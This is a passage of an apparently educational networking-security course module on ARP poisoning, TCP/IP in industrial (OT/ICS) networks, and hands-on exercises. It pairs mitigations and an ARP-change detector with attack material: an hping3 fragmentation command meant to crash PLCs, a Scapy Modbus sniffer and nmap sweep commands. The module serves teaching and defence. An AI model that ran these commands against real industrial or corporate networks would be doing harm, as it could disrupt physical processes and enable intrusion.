&lt;p&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;1. Dynamic ARP Inspection &lt;span class="o"&gt;(&lt;/span&gt;DAI&lt;span class="o"&gt;)&lt;/span&gt; — Cisco switch feature
   Switch maintains DHCP snooping binding table &lt;span class="o"&gt;(&lt;/span&gt;IP→MAC→Port→VLAN&lt;span class="o"&gt;)&lt;/span&gt;
   Validates ARP packets against binding table
   Drops ARP packets that don&lt;span class="s1"&gt;'t match
   Prevents ARP poisoning from untrusted ports

   Cisco configuration:
   ip dhcp snooping vlan 10
   ip arp inspection vlan 10
   interface GigabitEthernet0/1
    ip dhcp snooping limit rate 15    # Limit DHCP to 15 pps
   interface GigabitEthernet0/2
    ip arp inspection trust           # Trust this port (uplink to router)

2. Static ARP entries
   Add critical mappings (gateway) as permanent static entries:
   arp -s 192.168.1.1 GW:GW:GW:GW:GW:GW
   ip neigh add 192.168.1.1 lladdr GW:GW:GW:GW:GW:GW dev eth0 nud permanent

   Limitation: manual maintenance, doesn'&lt;/span&gt;t scale

3. 802.1X Port Authentication
   Authenticates devices before granting network access
   Combined with DAI: only authenticated devices can poison ARP

4. Private VLANs
   Prevents communication between hosts &lt;span class="k"&gt;in &lt;/span&gt;the same subnet
   No direct L2 access between clients → no ARP poisoning possible

5. End-to-end encryption &lt;span class="o"&gt;(&lt;/span&gt;TLS&lt;span class="o"&gt;)&lt;/span&gt;
   Even &lt;span class="k"&gt;if &lt;/span&gt;ARP is poisoned and traffic intercepted,
   TLS prevents reading or modifying the content
   This is why ARP poisoning + SSL stripping requires both steps
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.5 ARP in OT/ICS Networks
&lt;/h3&gt;

&lt;p&gt;ARP poisoning in OT environments is particularly dangerous because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;No encryption:&lt;/strong&gt; Modbus, DNP3, and other industrial protocols transmit in plaintext. An ARP MITM gives complete visibility into and control over industrial protocol traffic.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;No authentication:&lt;/strong&gt; Writing to a Modbus register or sending a DNP3 command requires only network access. ARP poisoning provides that access.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;No security monitoring:&lt;/strong&gt; Most OT networks have no ARP inspection, no arpwatch, no DAI. ARP poisoning can run undetected indefinitely.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Physical consequences:&lt;/strong&gt; A MITM position on an OT network allows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Passive: Monitoring of all process values and setpoints&lt;/li&gt;
&lt;li&gt;Active: Modification of commands sent to PLCs&lt;/li&gt;
&lt;li&gt;Denial of service: Dropping commands to field devices&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Legacy switches:&lt;/strong&gt; Many OT environments use unmanaged switches. DAI requires managed switches. Unmanaged switches cannot enforce port security.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; ARP's complete lack of authentication is not a vulnerability that will be patched — it is the protocol as designed, and replacing it would require replacing the entire Ethernet ecosystem. DAI and 802.1X are the correct mitigations, but they require managed infrastructure. In their absence, every device on the same L2 segment can impersonate every other device. In OT environments where this is combined with unauthenticated industrial protocols, a single compromised or rogue device has full control over the physical process.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  11. Putting It All Together — A Complete Packet's Journey
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 The Full Stack in Motion
&lt;/h3&gt;

&lt;p&gt;To solidify all concepts in this module, trace a complete DNS query from a workstation to Google's DNS server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Workstation: 192.168.1.5 (MAC: WS:WS:WS:WS:WS:WS)
Gateway:     192.168.1.1 (MAC: GW:GW:GW:GW:GW:GW)
Target DNS:  8.8.8.8
Query:       "What is the IP of example.com?"

STEP 1: Does workstation know gateway's MAC?
  Check ARP cache: 192.168.1.1 → ?
  If not found: Send ARP broadcast "Who has 192.168.1.1?"
  Gateway replies: "192.168.1.1 is at GW:GW:GW:GW:GW:GW"
  ARP cache updated.

STEP 2: Construct DNS UDP packet

  Application layer builds DNS query:
    DNS header + question: A record for "example.com"

  Transport layer adds UDP header:
    Source port: 54321 (ephemeral)
    Destination port: 53 (DNS)
    Length: [calculated]
    Checksum: [calculated]

  Internet layer adds IP header:
    Source IP: 192.168.1.5
    Destination IP: 8.8.8.8
    TTL: 64 (Linux default)
    Protocol: 17 (UDP)

  Network Access layer adds Ethernet header:
    Destination MAC: GW:GW:GW:GW:GW:GW (gateway — not 8.8.8.8, different subnet)
    Source MAC: WS:WS:WS:WS:WS:WS
    EtherType: 0x0800 (IPv4)

STEP 3: Frame sent on wire to gateway

STEP 4: Gateway receives frame
  Layer 2: Is dst MAC mine? Yes → accept
  Layer 3: Is dst IP mine? No (8.8.8.8 is not 192.168.1.1)
  → Route packet toward 8.8.8.8
  → Build new Ethernet frame with next hop's MAC
  → Decrement TTL (now 63)
  → Send out WAN interface

STEP 5: Packet traverses internet (multiple hops, TTL decrements)

STEP 6: 8.8.8.8 receives packet
  DNS server processes query
  Constructs response
  Response travels back (same process in reverse)

STEP 7: Gateway receives response, routes to workstation
  ARP resolves 192.168.1.5 → WS:WS:WS:WS:WS:WS
  Forwards frame

STEP 8: Workstation receives response
  UDP → port 54321 → DNS resolver → application
  Application knows: example.com → 93.184.216.34
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. TCP/IP in OT/ICS Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 TCP/IP Adoption in Industrial Networks
&lt;/h3&gt;

&lt;p&gt;Modern OT networks increasingly use standard TCP/IP. This brings interoperability benefits but also exposes industrial systems to the full TCP/IP threat landscape.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Protocols that run over TCP/IP in OT:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Modbus TCP:      TCP 502    — No authentication, direct register access
DNP3:            TCP/UDP 20000 — Limited authentication (SA v5)
EtherNet/IP:     TCP 44818, UDP 2222 — CIP over Ethernet
IEC 60870-5-104: TCP 2404   — Power grid SCADA
IEC 61850 MMS:   TCP 102    — Substation automation
OPC-UA:          TCP 4840   — Modern, has security model
PROFINET:        TCP/UDP (various) — Siemens fieldbus over Ethernet
BACnet/IP:       UDP 47808  — Building automation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 TCP/IP Attacks Specific to OT Context
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Fragmentation attacks against PLCs:&lt;/strong&gt;&lt;br&gt;
Industrial devices often have limited resources and may not handle malformed or fragmented IP packets correctly. Sending fragmented packets (Teardrop-style, overlapping offsets) can crash PLCs or cause them to restart.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Fragmentation attack simulation (lab only):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;--frag&lt;/span&gt; &lt;span class="nt"&gt;--data&lt;/span&gt; 1000 &lt;span class="nt"&gt;--mtu&lt;/span&gt; 8 192.168.1.100
&lt;span class="c"&gt;# --frag = fragment packets&lt;/span&gt;
&lt;span class="c"&gt;# --data = payload size&lt;/span&gt;
&lt;span class="c"&gt;# --mtu = force fragmentation at this size&lt;/span&gt;
&lt;span class="c"&gt;# Result: 8-byte fragments → many overlap scenarios possible&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;TCP RST injection against SCADA HMI connections:&lt;/strong&gt;&lt;br&gt;
If an attacker can observe the sequence numbers of an active TCP connection between an HMI and a SCADA server, they can inject RST packets to terminate the connection. This disrupts operator visibility.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ARP poisoning + Modbus command injection:&lt;/strong&gt;&lt;br&gt;
The most dangerous combined attack:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;ARP poison: Position attacker between HMI and PLC&lt;/li&gt;
&lt;li&gt;Intercept: Capture legitimate Modbus TCP commands&lt;/li&gt;
&lt;li&gt;Modify or inject: Change setpoints, force coil states, or replay commands
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Conceptual Modbus command interception using Scapy (educational):
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;scapy.all&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;scapy.contrib.modbus&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ModbusADURequest&lt;/span&gt;

&lt;span class="c1"&gt;# In a real attack scenario (authorized lab only):
# ARP poisoning positions attacker in path
# Then capture and modify Modbus TCP traffic passing through
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;inspect_modbus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;haslayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;dport&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;502&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Modbus command from &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# Payload is the Modbus ADU
&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;haslayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Raw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Raw&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;func_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  Function code: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;func_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;func_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;sniff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tcp port 502&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;inspect_modbus&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 TCP/IP Security Controls for OT
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Priority 1 — Network Segmentation:
  OT network MUST be isolated from IT network
  Use: dedicated firewall, DMZ for data exchange
  Not acceptable: direct routing between IT and OT VLANs

Priority 2 — Protocol Whitelisting:
  Firewall between zones should only allow specific OT protocols
  Allow: Modbus TCP (502) from HMI IPs to PLC IPs ONLY
  Block: All other traffic by default
  Log: All denied traffic for anomaly detection

Priority 3 — IP Addressing:
  Use RFC1918 addresses not routable from internet
  Separate OT subnets from IT subnets (different /24 ranges)
  Document all static IP assignments

Priority 4 — ARP/NDP Monitoring:
  Deploy arpwatch or commercial OT asset monitoring (Claroty, Nozomi)
  Alert on any ARP changes in OT network
  OT networks change slowly — any ARP change is suspicious

Priority 5 — Encrypted Management:
  Use SSH instead of Telnet for device management
  Use SNMPv3 instead of v1/v2c
  Disable HTTP management, use HTTPS
  VPN with MFA for remote access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: TCP Handshake Analysis (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture a complete TCP session and analyse every field&lt;/span&gt;

&lt;span class="c"&gt;# Start capture — focus on HTTP (unencrypted for full visibility)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/tcp_session.pcap &lt;span class="s1"&gt;'host neverssl.com and port 80'&lt;/span&gt;

&lt;span class="c"&gt;# In another terminal:&lt;/span&gt;
curl &lt;span class="nt"&gt;-v&lt;/span&gt; http://neverssl.com/ 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="c"&gt;# Stop capture (Ctrl+C in tcpdump terminal)&lt;/span&gt;

&lt;span class="c"&gt;# Open in Wireshark:&lt;/span&gt;
wireshark /tmp/tcp_session.pcap

&lt;span class="c"&gt;# Tasks:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Find the SYN packet — what is the client's ISN?&lt;/span&gt;
&lt;span class="c"&gt;#    Filter: tcp.flags.syn==1 and tcp.flags.ack==0&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 2. Find the SYN-ACK — what is the server's ISN?&lt;/span&gt;
&lt;span class="c"&gt;#    What TCP options does the server advertise?&lt;/span&gt;
&lt;span class="c"&gt;#    Filter: tcp.flags.syn==1 and tcp.flags.ack==1&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 3. Find the final ACK — verify: ack = server_ISN + 1&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 4. Find the HTTP GET request&lt;/span&gt;
&lt;span class="c"&gt;#    What sequence number does it start with?&lt;/span&gt;
&lt;span class="c"&gt;#    How large is the payload?&lt;/span&gt;
&lt;span class="c"&gt;#    Filter: http.request&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 5. Find the FIN packets — count the four-way termination&lt;/span&gt;
&lt;span class="c"&gt;#    Filter: tcp.flags.fin==1&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 6. Statistics → TCP Stream Graph → Time Sequence (tcptrace)&lt;/span&gt;
&lt;span class="c"&gt;#    Visualise the sequence numbers over time&lt;/span&gt;

&lt;span class="c"&gt;# Command-line analysis with tshark:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/tcp_session.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"tcp"&lt;/span&gt; &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time_relative &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.srcport &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.dstport &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.flags &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.seq &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.ack &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.window_size_value
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: ARP Analysis and Simulation (1 hour)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Part 1: Capture and analyse normal ARP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'arp'&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &amp;amp;   &lt;span class="c"&gt;# Background capture&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;2
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="si"&gt;$(&lt;/span&gt;ip route | &lt;span class="nb"&gt;grep &lt;/span&gt;default | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;   &lt;span class="c"&gt;# Ping gateway (triggers ARP)&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;2
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# Analyse:&lt;/span&gt;
&lt;span class="c"&gt;# - What was the ARP request? (broadcast to FF:FF:FF:FF:FF:FF)&lt;/span&gt;
&lt;span class="c"&gt;# - What was the ARP reply?&lt;/span&gt;
&lt;span class="c"&gt;# - What EtherType identifies ARP?&lt;/span&gt;
&lt;span class="c"&gt;# - What is the difference in packet size between request and reply?&lt;/span&gt;

&lt;span class="c"&gt;# Part 2: Examine your ARP cache&lt;/span&gt;
ip neigh show
&lt;span class="c"&gt;# For each entry, note:&lt;/span&gt;
&lt;span class="c"&gt;# - IP address&lt;/span&gt;
&lt;span class="c"&gt;# - Device (interface)&lt;/span&gt;
&lt;span class="c"&gt;# - MAC address&lt;/span&gt;
&lt;span class="c"&gt;# - State: REACHABLE/STALE/DELAY/PROBE/FAILED&lt;/span&gt;

&lt;span class="c"&gt;# Part 3: Write an ARP detection script&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/arp_monitor.py &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/usr/bin/env python3
"""
ARP Monitor — detect MAC address changes indicating ARP poisoning
"""
from scapy.all import sniff, ARP, Ether
from collections import defaultdict
import time

ip_mac_map = {}

def process_arp(pkt):
    if pkt.haslayer(ARP):
        if pkt[ARP].op == 2:  # ARP Reply (is-at)
            ip = pkt[ARP].psrc
            mac = pkt[ARP].hwsrc
            timestamp = time.strftime('%H:%M:%S')

            if ip in ip_mac_map:
                if ip_mac_map[ip] != mac:
                    print(f"[{timestamp}] [ALERT] ARP CHANGE DETECTED!")
                    print(f"  IP: {ip}")
                    print(f"  OLD MAC: {ip_mac_map[ip]}")
                    print(f"  NEW MAC: {mac}")
                    print(f"  Possible ARP poisoning attack!")
                else:
                    print(f"[{timestamp}] [OK] {ip} → {mac} (unchanged)")
            else:
                ip_mac_map[ip] = mac
                print(f"[{timestamp}] [NEW] {ip} → {mac}")

print("ARP monitor started. Watching for MAC changes...")
sniff(filter="arp", prn=process_arp, store=0)
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/arp_monitor.py
&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 /tmp/arp_monitor.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: IPv4 Subnetting Practice (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Use Python to build intuition for subnetting:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import ipaddress

# Common subnetting scenarios in security:

# 1. Given an IP and subnet, find all hosts:
net = ipaddress.ip_network("10.10.10.0/24", strict=False)
print(f"Network: {net}")
print(f"Total addresses: {net.num_addresses}")
print(f"Usable hosts: {net.num_addresses - 2}")
print(f"First host: {list(net.hosts())[0]}")
print(f"Last host: {list(net.hosts())[-1]}")
print(f"Broadcast: {net.broadcast_address}")

# 2. Determine if two IPs are on the same subnet:
ip1 = ipaddress.ip_interface("192.168.1.50/24")
ip2 = ipaddress.ip_interface("192.168.1.100/24")
ip3 = ipaddress.ip_interface("192.168.2.50/24")
print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;{ip1.ip} and {ip2.ip} same network? {ip1.network == ip2.network}")
print(f"{ip1.ip} and {ip3.ip} same network? {ip1.network == ip3.network}")

# 3. Summarise a list of addresses (useful for firewall rules):
addresses = [
    "10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4",
    "10.0.0.5", "10.0.0.6", "10.0.0.7"
]
addr_objects = [ipaddress.ip_address(a) for a in addresses]
summary = list(ipaddress.collapse_addresses(addr_objects))
print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Summarised {len(addresses)} IPs into {len(summary)} range(s):")
for s in summary:
    print(f"  {s}")

# 4. Split a network into subnets (useful for network design):
big_net = ipaddress.ip_network("192.168.0.0/22")
subnets = list(big_net.subnets(new_prefix=24))
print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;/22 split into /24 subnets:")
for s in subnets:
    print(f"  {s} — {s.num_addresses - 2} hosts")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: ICMP Recon and Detection (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ICMP-based network reconnaissance:&lt;/span&gt;

&lt;span class="c"&gt;# 1. Host discovery using different ICMP types&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PE&lt;/span&gt; 192.168.1.0/24    &lt;span class="c"&gt;# Echo Request (standard ping)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PP&lt;/span&gt; 192.168.1.0/24    &lt;span class="c"&gt;# Timestamp Request (Type 13)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PM&lt;/span&gt; 192.168.1.0/24    &lt;span class="c"&gt;# Address Mask Request (Type 17)&lt;/span&gt;
&lt;span class="c"&gt;# Compare results — some hosts respond to some types but not others&lt;/span&gt;

&lt;span class="c"&gt;# 2. Traceroute analysis&lt;/span&gt;
mtr &lt;span class="nt"&gt;--report&lt;/span&gt; &lt;span class="nt"&gt;--report-cycles&lt;/span&gt; 5 8.8.8.8
&lt;span class="c"&gt;# Save output and analyse:&lt;/span&gt;
&lt;span class="c"&gt;# - Which hops have 100% packet loss? (ICMP Type 11 not returned — not necessarily down)&lt;/span&gt;
&lt;span class="c"&gt;# - Which hops have variable latency? (congestion)&lt;/span&gt;
&lt;span class="c"&gt;# - Where does the TTL drop occur geographically? (infer location from latency)&lt;/span&gt;

&lt;span class="c"&gt;# 3. Detect and block ICMP tunnel attempts&lt;/span&gt;
&lt;span class="c"&gt;# ICMP tunnels use large payloads — detect with:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'icmp and (icmp[icmptype] = icmp-echo or icmp[icmptype] = icmp-echoreply) and length &amp;gt; 200'&lt;/span&gt;

&lt;span class="c"&gt;# 4. Block ICMP redirect acceptance (hardening):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;sysctl net.ipv4.conf.all.accept_redirects          &lt;span class="c"&gt;# Check current&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.conf.all.accept_redirects&lt;span class="o"&gt;=&lt;/span&gt;0     &lt;span class="c"&gt;# Disable&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.conf.all.secure_redirects&lt;span class="o"&gt;=&lt;/span&gt;0     &lt;span class="c"&gt;# Disable even from gateways&lt;/span&gt;
